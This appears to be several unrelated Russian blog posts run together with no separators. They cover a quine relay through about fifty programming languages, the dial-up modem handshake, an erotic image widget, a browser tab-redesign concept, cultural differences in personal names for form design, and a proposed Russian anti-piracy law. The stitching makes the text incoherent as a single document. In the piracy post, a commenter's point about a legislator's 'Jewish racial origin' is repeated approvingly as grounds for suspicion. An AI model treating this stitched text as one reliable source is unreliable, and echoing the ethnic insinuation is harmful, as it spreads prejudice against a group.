Для проверки нужно сначала установить в системе все необходимые окружения. Под Ubuntu это можно сделать такой командой:

$ apt-get install algol68g bash beef boo clisp clojure1.4 coffeescript \
  fp-compiler g++ gauche gawk gcc gforth gfortran ghc gnat gnu-smalltalk \
  gobjc golang groovy icont intercal iverilog jasmin-sable llvm lua5.2 \
  make mono-devel mono-mcs nodejs ocaml octave open-cobol openjdk-6-jdk \
  parrot perl php5-cli pike7.8 python r-base regina-rexx ruby1.9.3 scala \
  swi-prolog tcl8.5 ucblogo valac

Запускаем программу с каждым интерпретатором/компилятором, по очереди.

$ ruby QR.rb > QR.scala
$ scalac QR.scala && scala QR > QR.scm
$ gosh QR.scm > QR.bash
$ bash QR.bash > QR.st
$ gst QR.st > QR.tcl
$ tclsh QR.tcl > QR.unl
$ ruby unlambda.rb QR.unl > QR.vala
$ valac QR.vala && ./QR > QR.v
$ iverilog -o QR QR.v && ./QR -vcd-none > QR.ws
$ ruby whitespace.rb QR.ws > QR.adb
$ gnatmake QR.adb && ./QR > QR.a68
$ a68g QR.a68 > QR.awk
$ awk -f QR.awk > QR.boo
$ booi QR.boo > QR.bf
$ beef QR.bf > QR.c
$ gcc -o QR QR.c && ./QR > QR.cpp
$ g++ -o QR QR.cpp && ./QR > QR.cs
$ mcs QR.cs && mono QR.exe > QR.clj
$ clojure QR.clj > QR.cob
$ cobc -x QR.cob && ./QR > QR.coffee
$ coffee QR.coffee > QR.lisp
$ clisp QR.lisp > QR.fs
$ gforth QR.fs > QR.f
$ gfortran -o QR QR.f && ./QR > QR.f90
$ gfortran -o QR QR.f90 && ./QR > QR.go
$ go run QR.go > QR.groovy
$ groovy QR.groovy > QR.hs
$ runghc QR.hs > QR.icn
$ icont -s QR.icn && ./QR > QR.i
$  ick -b QR.i &&  ./QR > QR.j
$ jasmin QR.j && java QR > QR.java
$ javac QR.java && java QR > QR.ll
$ llvm-as QR.ll && lli QR.bc > QR.logo
$ ucblogo QR.logo > QR.lua
$ lua QR.lua > QR.makefile
$ make -f QR.makefile > QR.il
$ ilasm QR.il && mono QR.exe > QR.js
$ nodejs QR.js > QR.m
$ gcc -o QR QR.m && ./QR > QR.ml
$ ocaml QR.ml > QR.octave
$ octave -qf QR.octave > QR.pasm
$ parrot QR.pasm > QR.pas
$ fpc QR.pas && ./QR > QR.pl
$ perl QR.pl > QR.php
$ php QR.php > QR.pike
$ pike QR.pike > QR.prolog
$ swipl -q -t qr -f QR.prolog > QR.py
$ python QR.py > QR.R
$ R --slave < QR.R > QR.rexx
$ rexx ./QR.rexx > QR2.rb

В результате, итоговый код QR2.rb не отличается от первоначального QR.rb.


Финский инженер Уна Райсанен (Oona Räisänen) составила чёткую блок-схему с описанием всех звуков, которые издаёт диалап-модем при установке соединения. Горизонтальной оси соответствует время в секундах, вертикальной — частота звука в герцах.

Описание наложено непосредственно на спектрограмму. Для каждого звука помечен источник (наш модем или чужой) и объяснение, что значит конкретно этот сигнал.

Для тех, кто забыл звук соединения диалап-модема, прослушать его можно здесь или здесь. В процессе «рукопожатия» при установке соединения два модема пытаются определить наиболее подходящие протоколы для обмена данными, тестируя между собой линию связи. От выбранных во время рукопожатия протоколов зависит максимальная скорость передачи данных.

Процедура начинается с гудка подключения к линии — такого же гудка, какой мы обычно слышим в телефонной трубке перед набором номера.



После получения этого сигнала модем набирает номер с помощью тонового или импульсного набора. На спектрограмме указан тоновый набор. Каждой цифре соответствует пара сигналов на определённой частоте. Модем набирает номер точно так же, как обычный телефонный аппарат.

С пятой секунды начинается самое интересное: модемы начинают активно обмениваться «репликами», сообщая друг другу о своих возможностях и ограничениях. Это начало фазы 1 процесса рукопожатия. Первая фаза — самая длительная, она обычно оканчивается в районе 12-й секунды.



Затем модемы устраивают сеанс одновременной передачи данных, проверяя качество линии (фаза 2) и окончательно договариваются о приемлемой скорости соединения (фаза 3).



После окончания третьей фазы динамики модемов отключаются — и становится возможной передача данных по установленному соединению.

Диаграмму полного размера можно скачать на Dropbox, зеркало, перевод на русский язык (Ocelot).
Дорогой_хабрахабр_прости_пожалуйста_но_какой_тестировщик_не_проверит_эту_ может_и_бесполезную_штуку_в_блоге_по_тестированию?



Для придания посту минимальной информационной ценности, добавлю:
тестирование «неправильного» поведения пользователя называется негативным тестированием.
Когда-то, давным-давно, тут пиарился один удивительный и абсолютно чистый от рекламы сервис по сиськам OpenBoobs.
Он мне понравился еще тогда, но вот недавно я решил сделать для него маленький виджет. Итак, встречайте OpenBoobs Reader!

Он вам поможет:
  • Просматривать отборные груди в случайном порядке;
  • Быстро сохранить на диск понравившуюся грудь;
  • Незаметно на вашем рабочем столе показывать разные груди в режиме слайдов;
  • Просто расслабится.





Немного о виджете




Этот виджет нельзя найти в официальных репозиториях widgets.opera.com, так как по правилам сервиса запрещено выкладывать все связанное с насилием, порно и эротикой. Этот виджет одобрен администрацией oboobs.ru и является чем-то вроде бета-версии для создания более мощного приложения, поэтому активно принимаются все пожелания по улучшению виджета.

Скачать виджет можно здесь.

Также выражаю свои благодарности csr за хостинг и daemith за столь важный и замечательный в наше время сервис!

UPD: После 10 минут неполадок все снова работает.
Всем большое спасибо!
Решил я поучаствовать в Mozilla Labs Design Challenge Summer 2009, ибо уж больно вкусная тема конкурса — «Что можно предложить на замену табам в браузере». Для начала — видео:



Под катом — подробное описание идеи и скриншоты.

Предпосылка

Идея конкруса родилась в Mozilla Labs, потому что табы (вкладки) не очень хорошо работают, когда их много. Они не умещаются на экране и не дают пользователю достаточных подсказок, чтобы он мог быстро вспомнить, посещал он страницу или нет, открыта ли она в одной из многочисленных вкладок или надо открывать ее по-новой.

Мне кажется, что проблема не только во вкладках — помимо них есть история посещенных страниц, закладки (избранные сайты), стек страниц в текущей вкладке (кнопки навигации назад/вперед). Все это реализовано в браузерах в виде отдельных сущностей, и везде есть проблемы масштабирования.

Например — если у вас даже 7-10 вкладок, сможете ли вы с уверенностью вспомнить, переключившишь на любую из вкладок, на какую страницу вы перейдете, нажав кнопку «Назад» или «Вперед»? Сможете ли с уверенностью сказать, как вы попали на страницу, на которой находитесь?

Идея

Представьте, что в браузере нет привычных раздельных понятий «вкладка», «история посещений», «избранное». Вместо этого есть общее пространство страниц, которые вы посещаете. Каждая страница представлена в этом пространстве своим эскизом, и страницы соединены друг с другом связями (ссылками). По пространству можно перемещаться, масштабировать и передвигать в нем страницы, группируя их по теме.



Такое пространство очень напоминает «mind maps» (не знаю, есть ли для этого устоявшийся русскоязычный термин), т.е. графы, который люди рисуют самостоятельно, чтобы лучше разобраться в предмете, сделать какую-то область знаний более наглядной. Ниже я привел забавный и симпатичный пример такой рисованной карты, найденной в Сети.



Идея в том, чтобы браузер создавал такие карты автоматически по мере посещения вами сайтов (при этом давая вам возможность вмешаться в процесс, разумеется). Это позволило бы снизить когнитивную нагрузку и сделало бы процесс навигации более наглядным и понятным даже людям, далеким от компьютеров.

С таким подходом пользователю не надо думать, открывать ли ссылку в текущей вклдаке или в новой — самого понятия вкладок нет. Современные браузеры и объемы памяти вполне могут сохранять полное состояние окна браузера со всеми данными и восстанавливать его, используя при этом пул из нескольких экземпляров браузера для более быстрого переключения между страницами.

Если вы вводите адрес уже посещенной ранее страницы, то вместо того чтобы открыть новую страницу, браузер просто перекидывает вас к существующей на карте странице. Таким образом, на карте вы увидите и историю тех страниц, которые вы открывали с текущей страницы (т.е. история посещений интегрирована воедино с текущей сессией работы).

Демо-приложение



Я попробвал воплотить эту идею в демо-приложении, которое вы и видели на видео и скриншотах. Его можно скачать по этой ссылке:

http://a-i-studio.com/treebrowser/TreeBrowserDemo.zip (350 КБ).

Приложение работает под Windows XP / Windows Vista / Windows 7 и не требует установки — достаточно распаковать архив в любую папку. Попробуйте, поиграйтесь с ним. Интересно, что вы об этом думаете.

Развитие

Понятно, что демо имеет достаточно ограниченную функциональность. Настоящий браузер должен (или может) обладать следующими функциями:
  • поддержку разных карт с возможностью сохранения и загрузки, чтобы была возможность делиться своими сессиями с друзьями или делать бэкап этих сессий;
  • возможность создавать «начальные карты» с наиболее полезными сайтами, сгруппированными по тематикам (аналог избранного), чтобы можно было начинать ходить по Сети, базируясь на определенном наборе сайтов;
  • поддержку разных представлений карт (например, свободную форму, как в демо-приложениии или более структурированую, подходящую для отображения последовательности посещений страниц за определенный промежуток времени);
  • поддержку режима «машины времени», где можно посмотреть карту на определенный момент времени в прошлом или даже воспроизвести порядок открытия страниц и «рост» карты в анимированном виде;
  • возможность искать и подсвечивать на карте страницы, отвечающие критериями поиска, заданным в адресной строке (которая работает и как поле поиска);
  • полноценную поддержку клавиатуры и при работе с картой.


P.S.: Есть еще описание и видео на английском (то, что, собственно, и отправлено на конкурс).
Пространство рассуждения статьи затрагивает вопросы различия имен людей во всем мире, и то, как это влияет на дизайн форм ввода, баз данных, онтологий информатики и др. в контексте Всемирной Паутины.



Заинтересованная аудитория: авторы HTML-контента, разработчики скриптов серверных приложений (PHP, JSP и т.д.), менеджеры веб-проектов и любые другие люди, так или иначе связанные с дизайном форм ввода данных, дизайна баз данных и онтологий, которые затрагивают личные имена людей.

Следует помнить о различиях формирования и традициях употребления имен людей в других странах. Зачастую создатели сайтов или программ одной культуры не учитывают национальные особенности пользователя другой, что заставляет последнего чувствовать себя непривычно, и ставит дополнительные преграды к использованию продукта.



В данной статье не рассматриваются абсолютно все случаи. Связано это как с тем, что существует слишком много различных культур имени, все из которых невозможно описать и учесть сразу, так и с частой допустимостью неидеальных решений, соотвествующих лишь культурам большинства пользователей, что значительно экономит трудовые ресурсы. Здесь мы попытаемся лишь заострить внимание на основных примерах, показывающих решения в дизайне форм ввода и построении баз данных. Некоторые пункты иногда бывает необходимо учесть и в построении онтологий, хотя особых примеров здесь представлено не будет.

Случаи


Существует два основных случая, которые нужно предусмотреть.

  • Вы выполняете дизайн формы в единственном языке (допустим, английском), которым будут пользоваться люди со всего мира.
  • Вы выполняете дизайн формы в одном языке, но со временем данный элемент будет адаптирован под различные культурные особенности сферы языка конечного пользователя.


В реальной жизни вам наверняка не удастся выполнить локализацию для каждой культуры, поэтому даже если и вы полагаетесь на второй вариант, некоторым людям придется использовать форму, которая не была предназначена для их культурных особенностей.

Описания различий



Рассмотрим примеры того, как имена людей могут различаться в мире.

Имя и фамилия


В именовании «Бьорк Гвюдмюндсдоуттир» (Björk Guðmundsdóttir) собственно именем является Бьорк. Второе слово — отчество, составленное из имени отца (иногда — матери, но матронимы редки) и на конце -son (исл. сын) у мужчин и -dóttir (исл. дочь) у женщин. Как правило, у исландцев нет фамилии, соответственно, отпадает вопрос о их использовании.

Вне зависимости от степени уважения обращающегося к объекту обращения исландцы называют его только по имени или же по имени и отчеству. Разумеется, назвать человека «г-жа Гвюдмюндсдоуттир» будет некорректным.

Супруги не изменяют чего-либо в своем имени, возможно заимствование фамилии в тех редких случаях, если она есть.

Сортировка по алфавиту осуществляется по имени, а не отчеству. Дабы прояснить повторяющиеся записи используются некоторые приемы, например, в телефонных книгах указываются профессии абонентов.

Схема «имя-отчество» также используется в южной Индии, Малайзии и Индонезии.

Малайское имя «Иса бин Осман» можно разбить на имя и отчество. Слово «бин» означает «сын (кого-либо)», у женщин используется «бинти». Для того, чтобы обратиться к этому человеку, подойдет «г-н Иса», «мистер Иса».

Различия в расположении составляющих


В китайском имени 毛泽东 («Мао Цзэдун») фамилией является «Мао», то есть первое при чтении слева направо. Личным именем является «Дун». Средний же слог «Цзэ» является именем поколения, и един для всех его братьев и сестер: 毛泽民 (Мао Цзэминь), 毛泽覃 (Мао Цзэтань), 毛泽紅 (Мао Цзэхун)

Китайская система имен является основой для всех традиционных способов именования людей в Восточной Азии.

Среди людей, которые не являются близкими к нему, к Мао могут обратиться как к 毛泽东先生 («Мао Цзэдун сяньшэн») или 毛先生 («Мао сяньшэн»), где «сяньшэн» — некий аналог «мистер» или «господин». Хотя на данный момент не у всех есть имя поколения, особенно в континентальном Китае, те, у кого оно есть, будут считать должным использование его вместе с личным именем. Поэтому, к человеку по имени 毛泽东 нельзя обратиться просто как 东, следует использовать 泽东.

В Японии, Корее и Венгрии фамилия также ставится вперед личного имени или личных имен.

Обратите внимание, что имена в записи иероглифами не разделяются пробелами. Существует множество различных систем транскрипции для различных азиатских языков, называемых по фамилиям их создателей. При этом транскрипция ужé транскрибированного слова из одного языка в другой, минуя изначальную форму, разумеется, приведет к ошибкам (сравните правильное «Такэси» и ерет. «Такеши»).

Китайцы, контактируя с представителями западной цивилизации, могут добавлять дополнительное личное имя, которое будет привычней для их новых друзей. К примеру, Яо Мин (фамилия — Яо, личное имя — Мин) может назваться иностранцам как Фред Яо Мин или Фред Мин Яо.



Множественные фамилии


Испанцы, как правило, имеют две фамилии. Например, дочь Antonio Campos Rodríguez (Антонио Кампос Родригес) и María Martínez Marqués (Марии Мартинес Маркес) зовут María Campos Martínez (Мария Кампос Мартинес). Обращаться к дочери следует Señorita Campos, а не Señorita Martínez.

При рождении португальский ребенок может получить одно или два имени и до четырех фамилий. Аналогичным образом дети получают фамилию от обоих родителей. У бразильцев также бывает до четырех фамилий, наследуемых от предков, например José Eduardo Santos Tavares Melo Silva.

Испанцы ставят фамилию отца перед фамилией матери, португальцы и бразильцы — наоборот, однако порядок может измениться. Также между именами могут появиться короткие слова, как то de или e между словами: Carreño de Quiñones, Tavares e Silva.

Меняющиеся формы слов


Отчество исландцев различается по полу его носителя. Однако, существуют и более сильные изменения. Русские и перенявшие русскую традицию имени вместе с русским языком народы стран бывшего СССР (Казахстан, Татарстан, Грузия и др.) используют отчество, употребляемое между фамилией и именем. Окончания отчества различаются по полу носителя. Сравните: Борис Николаевич Ельцин и Наина Иосифовна Ельцина — на конце имени мужа нет окончания, в то время как у жены добавляется «-а». Русские имена склоняются, при этом существуют несклоняемые, постоянные фамилии. Отличительной чертой русского именования является редкость матронимов.

Второе имя


Второе или среднее имя — традиция англоговорящих стран. Иногда под вторым понимают другие термины, например, двойные имена. В культуре Европы и западных стран обычно используется от одного до трех дополнительных имен. Второе имя представляет собой дополнительное личное имя и не является тождественным русскому отчеству, хотя и может быть дано в честь какого-либо родственника.

Американцы часто пишут собственное имя с инициалом посередине, например John Q. Public. Иногда форма, принятая в США, предлагается в виде общей традиции записи имен, даже в Соединенном Королевстве, где у людей может быть более одного второго имени. Британец сразу заметит подобные американские манеры. Корейцы, для которых типично иметь 3 имени, не записываемых в виде инициалов, удивятся «американской» форме ввода. Учтите также, что многие люди, использующие инициалы в их имени, могут предпочитать располагать их в начале имени.

Наследование имен


Члены одной семьи не всегда имеют одну и ту же фамилию. В современной западной цивилизации растет число жен, желающих сохранить собственные фамилии после вступления в брак, но в Китае подобная практика нормальна. В некоторых странах у жен есть выбор, брать или не брать имя мужа. Если малайка Зайтон выйдет замуж за Иса, она может остаться г-жой Зайтон, или же взять двойную фамилию «Зайтон Иса», которая предполагает обращение «г-жа Иса».

Испаноязычные фамилии также отличаются. В 1996-ом году Manuel A. Pérez Quiñones описал фамилии своей семьи или апеллидо: сам он стал Pérez Quiñones, потому как апеллидо его отца были Pérez Rodríguez, а апеллидо матери — Quiñones Alamo. Позже он встречался с девушкой с апеллидо Padilla Falto. После свадьбы её аппелидо стали Padilla de Pérez, а их дети имеют апеллидо Pérez Padilla. Суть в том, что лишь у родных братьев и сестер одни и те же апеллидо.

(Имя Manuel было незначительно изменено: на самом деле его апеллидо Pérez-Quiñones вместо варианта с пробелом, который был представлен для того, чтобы механизм образования имен был более понятным.)

Также нельзя просто полагаться на прием фамилии от мужа к жене, иногда женихи берут фамилии невест. В таком случае будет лучше говорить «девичья фамилия» или «бывшее имя» «урожденная(ый) (далее девичья фамилия)».

Смешение стилей


Многие культуры смешивают традиции имен, характерные для двух или более, а также добавляют собственные изобретения.

Например, «Velikkakathu Sankaran Achuthanandan» является кералским именем южной Индии, обычно записывается в виде «V. S. Achuthanandan» и представляет собой конструкцию «фамилия-отчество-имя».

Во многих частях света различные составляющие имени человека происходят от названий населенных пунктов, генеалогических особенностей, касты, религиозного статуса и т.д. Приведем несколько примеров:

Индийское имя «Когадду Бираппа Тимаппа Наир» следует рассматривать как комбинацию «название деревни — имя отца — личное имя — фамилия».

Раджастханское имя «Адитья Пратап Сингх Чаухан» состоит из личного имени, имени отца, фамилии и названия касты.

В другом регионе Индии имя «Мадурай Мани Айер» нужно толковать как набор «название города — личное имя — название касты».

Арабское «Абу Карим Мухаммед аль-Джамил ибн Нидал ибн Абдулазиз ал-Филистини» переводится как «Отец Карима, Мухаммед (личное имя), Красивый, Сын Нидала, Сын Абдулазиза, Палестинец», при этом Карим — первый сын Мухаммеда. Для дополнительной информации о подобной традиции богатых и длинных имен см. статью «Википедии».

У жителей Таиланда есть прозвище, которым они называют друг друга в неофициальных ситуациях. Прозвище изначально никак не связано с настоящим именем. Поскольку прозвище состоит из одного-двух слогов, и его легче произносить, тайцы представляются иностранцам именно им. Например, прозвище бывшего премьер-министра Таксин Чиннават — Мау (แม้ว). Часто прозвища для семьи и друзей различаются.

Во Вьетнаме имя Nguyễn Tấn Dũng (Нгуен Тан Зунг) имеет смысл «фамилия — второе имя — личное имя». Хотя подобная система похожа на китайскую, есть небольшое отличие: даже в официальных ситуациях к премьер-министру Вьетнама нужно обращаться «г-н Зунг», а не «г-н Нгуен», то есть по имени.

Двусмысленность написания


Идеографическое письмо в японских именах создаёт проблемы: прочесть имя вслух можно более, чем одним способом. Это создаёт трудности как для людей, так и для систем алфавитной сортировки, потому как последняя осуществляется по прозношению. К примеру, фамилия 東海林賢蔵 (три первых идеограммы слева) может быть прочитана либо как «Токайрин», либо как «Содзи».

Более того, прозношение различных кандзи может совпадать, поэтому романизация и кириллизация неизбежно ведут к потерям смысла: все из фамилий 庄司, 庄子, 東海林 и 小路 читаютя как «Содзи».

В некоторых японских именах используются устаревшие и вышедшие из употребления идеограммы, прочитать которые будет затруднительно.

Из-за рассмотренных проблем японцы предпочитают снабжать собственное имя в обычном написании версией записи в неидеографическом слоговом алфавите кана.

Последствия для дизайна форм вввода



Как уже было упомянуто выше, возможным путем решения проблем является локализация для каждой конкретной культурноязыковой среды. Теоретически, это должно позволить приспособить интерфейс к каждой конкретной целевой аудитории. К сожалению, у такого подхода есть несколько недостатков:

  • При необходимости централизации информации из нескольких видов ввода в единой базе данных возникнут затруднения в синтезировании схемы хранения.
  • Кроме того, может возникнуть ситуация, когда упор на определение необходимой схемы именования по местоположению пользователя не сработает: возможны иностранцы, адаптирующиеся к чужой культурной среде, а также зарубежные элементы. Например, у сингапурцев бывают китайские, малайские и южноиндийские корни. Также вероятны более, чем одни использования имен. Поэтому ваш интерфейс должен оставаться гибким.


Далее предлагаются общие соображения, которые могут помочь. Конечно, суть проблемы слишком сложна, чтобы давать исчерпывающие указания, и здесь нет прямых ответов.

Разбить или не разбить?


При разработке дизайна формы ввода или базы данных, куда пользователи будут вводить личные данные, нужно сразу задаться вопросом, необходимо ли разделить личное имя и фамилию. Всё зависит от поставленных задач, но, как очевидно, наиболее простым будет просто оставить поле полного имени.



Учтите, что имена в некоторых культурах могут быть длинней, чем в вашей, поэтому поле ввода должно быть достаточно длинным, чтобы пользователь мог видеть его полностью по мере набора. Также не ограничивайте поля имени в базах данных. В частности, четырехсимвольное японское имя при кодировании UTF-8 в четыре байта не влезет, ему понадобится 12.

Пути деления имен на части


Если вам всё-таки предпочтительней хранить части имени раздельно, старайтесь избегать названий «Личное имя» и «Фамилия» в нелокализованных формах ввода, поскольку некоторым будет удобней писать фамилию, а следом за ними личные имена.



Для некоторых культур подобное будет не слишком приемлимо (например, для исландцев, не имеющих фамилии как таковой), но в целом это наиболее подходящее решение.

В случае, если вы хотите определить части имени для алфавитной сортировки, контактов и т.д. рассмотрите введение к существующему полю полного имени дополнительных, в которых пользователь может указать части имени, которые нужны для особых целей.

Иногда разделение имени на части выполняется с целью употребления одной из них в обращении: «I'm afraid I can't do that, Dave.» Подобное может употребляться как в интерфейсе, так и в оповещениях по электронной почте. Разумеется, обращение, например, по имени в одних контекстах будет приветствоваться, человек же другой национальной культуры может воспринять его негативно и наоборот. Варьироваться отношение к окрику по имени может и в одной нации. В таком случае будет лучше в самом начале спросить у пользователя, как его называть.



Это дополнителное значение также будет полезно для определения прозвища тайцев.

Поскольку японские имена читаются по разному, для сортировки японских имен потребуется дополнительное поле, в которое они смогут ввести прозношение своего имени. Информация из этого поля и будет использоваться для сортировки японских имен.

Если вы разбиваете поля имен, убедитесь в том, что каждое поле ввода имеет ясную подпись. Не опирайтесь на то, что пользователь точно будет вводить фамилию после личного имени.

Будьте внимательны по отношению к допущениям алгоритмов, автоматически разбивающих полное имя на части. К примеру, оптимизация имен v-card или h-card может плохо работать с китайскими именами. Необходимо как можно точнее информировать пользователя, как указывать свои данные.

Существуют имена длиной в один символ. У людей с подобными короткими именами могут возникнуть проблемы с приложениями, отвергающими введенные данные как имя с инициалами. Если необходимо проследить за вводом инициалов, добавьте сообщение для пользователей, а не фильтруйте ввод.

Не делайте ввод фамилии обязательными: у населения Южной Индии, Малайзии, Индонезии и многих других стран есть только личное имя. Пользователям придется вводить какой-то мусор типа «Mr.», «.» в поля или, что гораздо хуже, не использовать ваш продукт вообще.

Другие замечания


Не забывайте разрешить пользователю использовать в именах знаки препинания: дефисы, апострофы и т.д. Пользователю может понадобиться ввести текст с пробелами, как то добавить префиксы и суффиксы: «де» у французов, «фон» у немцев, «Мл.» («Младший») у американцев; также последовательности букв, разделенные пробелом, могут являться корректными именами: «Роза Мария».

Члены одной семьи могут иметь разные фамилии. Не только женщины могут менять фамилии после вступления в брак, поэтому название поля ввода фамилии при рождении лучше выбрать без упора на пол: «Предыдущее имя», а не «Девичья фамилия».

Если вы разрабатываете формы ввода, которые будут локализованы в каждой конкретной культурной среде, не забудьте о том, что имя, разбитое на части, наверняка придется хранить в централизованной базе данных, которая потребует представить все запутанные части в доступном для хранения и извлечения виде.

Поддержка символов



Многие пользователи не используют латинский алфавит или используют наборы с множеством добавочных символов. Это представляется очевидным, но всё же чревато несколькими последствиями для дизайнеров, о которых часто забывают.

Если разрабатывается форма на английском, нужно решить, ожидается ли от пользователя ввод имени в национальных символах (например, 小林康宏), только в латинице (Yasuhiro Kobayashi) или же в обеих формах.

Помните, что даже английские имена могут содержать буквы, не содержащиеся в кодировке ASCII (например, Zoë).

С другой стороны бывают ситуации (необходимо задать логин, система поддерживает только ASCII), в которых разрешить национальные символы будет невозможно.

То, что пользователи укажут в форме ввода, чаще всего зависит от языка страницы. Если страница переведена на их родной язык, наиболее возможно получить имя, записанное не только латиницей.

В отношении букв, кодировка ASCII означает набор основных букв английского алфавита, то есть ABCDEFGHIJKLMNOPQRSTUVWXYZ и такой же состав строчных букв.

Если вам нужна только латиница, собщите об этом пользователю в интерфейсе формы ввода. Не забудьте проинструктировать и переводчиков.



Выбор формы ввода и хранения данных зависит от целей сбора информации и её использования.

  • Вы собираетесь использовать имя человека как идентификатор в системе? В таком случае нет разницы, ASCII или национальное написание.
  • Вы хотите обращаться к пользователю по имени на странице приветствия или в корреспонденции? В случае формирования переведенной на их родной язык страницы будет логичней использовать имя в их национальном написании.
  • Важно ли для сотрудников вашей организации иметь возможность разбираться в записях и читать их имена? Тогда запросите латинскую транскрипцию.
  • Будет ли их имя индексировано поисковыми системами? Или вы хотите обращаться к пользователям в рассылках по имени, но внутренние операции осуществлять на английском? Тогда в форме ввода запросите в раздельных полях как национальное написание, так и транскрипцию.




Обратите внимание на то, что японцам может понадобиться поле для транскрипции имени в японской слоговой азбуке, что потребует добавления третьего поля в примере выше.

При использовании символов вне набора ASCII не забудьте о кодировке страницы, приложения и базы данных.

На заметку



Пометка о сортировке


Имена людей не всегда сортируются по фамилии. Например, тайцы и исландцы используют сортировку по личному имени.

Также различаются методы сортировки и в испанидаде. María-Jose Carreño Quiñones из одного места будет искать себя как Carreño Quiñones, а её полная тёзка, проживающая в другом месте, где принята другая система сортировки, начнёт с Quiñones.

Небольшие слова «фон», «де», «ван» добавляют сложности. Иногда префиксы учитываются, иногда нет.

Формализм


Уровень формализма различается в разных странах, и это нужно учитывать при обращении к пользователю. В западной культурной среде принято обращаться по личному имени, но в Соединенном Королевстве обращение при первой встрече по личному имени покажет собеседнику, что вы с ним уже где-то виделись.

С другой стороны, использование обращения и личного имени («Mr. Richard») или лишь фамилии («Ishida!») приемлемо в некоторых частях света, но не во всех (например, в Британии).

В Германии титулы и звания важны, поэтому лучше обратиться не «Herr Schmidt», а «Herr Professor Doktor Schmidt».

В культурах, подобных японской, существуют именные суффиксы, выражающие почтение, должность или звание. Лучше обратиться к кому-то как «Tanaka-san» или «Tanaka-sama» (зависит от степени уважения). Руководитель отдела по имени Tanaka ожидает от вас обращения Tanaka-bucho (букв. «руководитель отдела Танака»). Хотя можно добавить -san к личным именам, в рабочей среде подобное обращение будет выглядеть странно.

Дополнительная информация



Информация выше предоставляет лишь краткую справку о трудностях, с которыми может столкнуться разработчик. В реальности даже в сфере одной культуры ситуация может оказаться ещё более запутанной и усложненной. Англоязычная «Википедия» предоставляет множество подробных статей, рассказывающих о формировании имен людей в различных частях света. Рекомендуется прочитать и понять данные статьи.

AkanArabicBalineseBulgarianCzechChineseDutchFijianFrenchGermanHawaiianHebrewHungarianIcelandicIndianIndonesianIrishItalianJapaneseJavaneseKoreanLithuanianMalaysianMongolianPersianPhilippinePolishPortugueseRussianSpanishTaiwaneseThaiVietnamese

Подготовлено на основе статьи на w3.org и информации интернет-энциклопедий.

если первое, что вы увидели — MacBook Pro, то у меня для вас есть плохие новости
Нынешнее сообщение является естественным продолжением вчерашнего, так что сперва напомню известные со вчерашнего дня факты.

Вчера Novikov в своём блоге подметил, что Московская городская дума готова была предложить (26 августа, устами своего депутата Милявского) попрать все идеалы внутренней свободы, а вместо того поклониться одновременно демону тоталитаризма и золотому тельцу правоторговли, то есть составить чёрный список сайтов, предлагающих нелицензионные файлы, и за любое посещение такого сайта штрафовать каждого гражданина на сумму от 2000 до 5000 рублей.

Это прискорбно.
В частности, Новиков тотчас постиг и сокрушался о том, какие небывалые и коррупционные бездны произвола правоохранительных структур откроются во всяком таком случае, когда какой-нибудь сетевой червь понаоткрывает запретные сайты без ведома пользователей, или если другой сайт поставит невидимый <iframe> или прозрачный пиксел запретного сайта. Опять же и для цензуры возможности какие богатейшие.
Там же в комментариях MSVGePard без малейшего промедления открыл, что упомянутый Милявский имеет еврейское расовое происхождение и даже гражданство Государства Израиль ([1], [2]), и притом далеко не совершенно чужд и сам нелицензионщине: в прессе не раз упоминалося, что Милявский миллионы нажил, создав свой рынок «Горбушкин двор». Ум останавливается перед потугою истолковать эту деталь биографии: не то Милявский зачищает интернетовских конкурентов своего оффлайнового бизнеса, не то обратился к чрезмерному и небывалому ещё покаянию? Да не в том ли всё и дело, что «Горбушкин двор» недавно намерены были остановить?
Подробнее эту тему раскрыл в LiveJournal блоггер martellus. В комментариях он упоминает также, что Указом Президента В. В. Путина в 2003 году Александр Милявский был награждён медалью ордена «За заслуги перед Отечеством» II степени. Видим, стало быть, что заслуженный единоросс этот и впрямь может выступить с некоторой законодательной инициативою и быть услышанным с нею в самых верхах и недрах «Единой России» преблагосклоннейше.
Увы, личный блог Новикова не транслируется на заглавную страницу Хабахабра — и оттого не все заметили эту новость, несмотря на двузначный рейтинг его блогозаписи.

А между тем вышеупомянутые события не остановилися 26 августа, а развивались и далее: сообщение Новикова можно дополнить известием о том, что на нынешней неделе (в понедельник 30 августа) в «Ведомостях» вышла статья «Штраф за пиратство». К сожалению, сама по себе эта статья не очень полезна нам, будучи не более чем собранием разноречивых мнений, более или менее экспертных и (или) официальных. Зато к ней прилагаются для скачивания собственно документы законопроекта Милявского. Их два: проект Федерального закона «Об охране авторских и смежных прав в сети Интернет и о внесении изменений в отдельные законодательные акты Российской Федерации», а с ним сборник поправок, предлагаемых ко внесению в Уголовный кодекс и в Кодекс об административных правонарушениях.

Эти поправки сегодня утром подверг сравнительному анализу LJ-блоггер i_contester и открыл такие подробности, от которых волосы должны буквально становиться дыбом на голове. Вы уж лучше присядьте, прежде чем читать о них:

→  То наказание за контрафакт или незаконное использование объектов авторского права и смежных прав, которое прежде было установлено за крупный размер этого преступления, отныне будет применяться ко преступлениям, не достигшим этого размера (и прежде вообще не считавшимся уголовными);

→  за крупный же размер будет полагаться то наказание, которое прежде было установлено за особо крупный размер;

→  а за нарушение авторского права или смежных прав, совершённое в особо крупном размере, изобретено новое и небывалое ещё наказание: лишение свободы на срок до 20 лет со штрафом в размере до 1 000 000 рублей.

→  Кстати и значения самих терминов «крупный размер» и «особо крупный размер» немало изменены в сторону значительного уменьшения величин: «крупный размер» нарушения будет считаться всего от 25 тысяч рублей, а «особо крупный» — от 125 тысяч.

→  А для того же нарушения, совершённого без цели сбыта (к примеру, для простого хранения), и прежде не бывшего уголовным преступлением — изобретена особая новая статья УК, которая (в случае превышения вышеупомянутого «особо крупного» размера) предусматривает до 8 лет лишения свободы и штрафы до 500 000 рублей.

Проект закона «Об охране авторских и смежных прав в сети Интернет…» также заслуживает самого пристального внимания, оттого что говорит о «презумпции отсутствия согласия правообладателя на использование объектов авторских и смежных прав в сети Интернет» (статья 4), запрещает создание анонимных прокси-серверов (статья 6), запрещает провайдеру выдавать абоненту IP-адрес, ранее использовавшийся другим абонентом (статья 7), и так далее. Внесены и драконовские меры наказания (статья 10): так, создание анонимного прокси-сервера влечёт наложение административного штрафа (на граждан — от 2000 до 5000 рублей, на должностных лиц — от 20 000 до 50 000 рублей, на юридических лиц — от 250 000 до 500 000 рублей); штраф, равный этому, полагается налагать на провайдера за выдачу использованного IP-адреса, на хостера — за отсутствие слежки (с ведением подробных логов на протяжении трёх лет), и так далее.

Как же теперь оценивать все эти мрачные факты? К чему может привести эта зловещая тенденция?

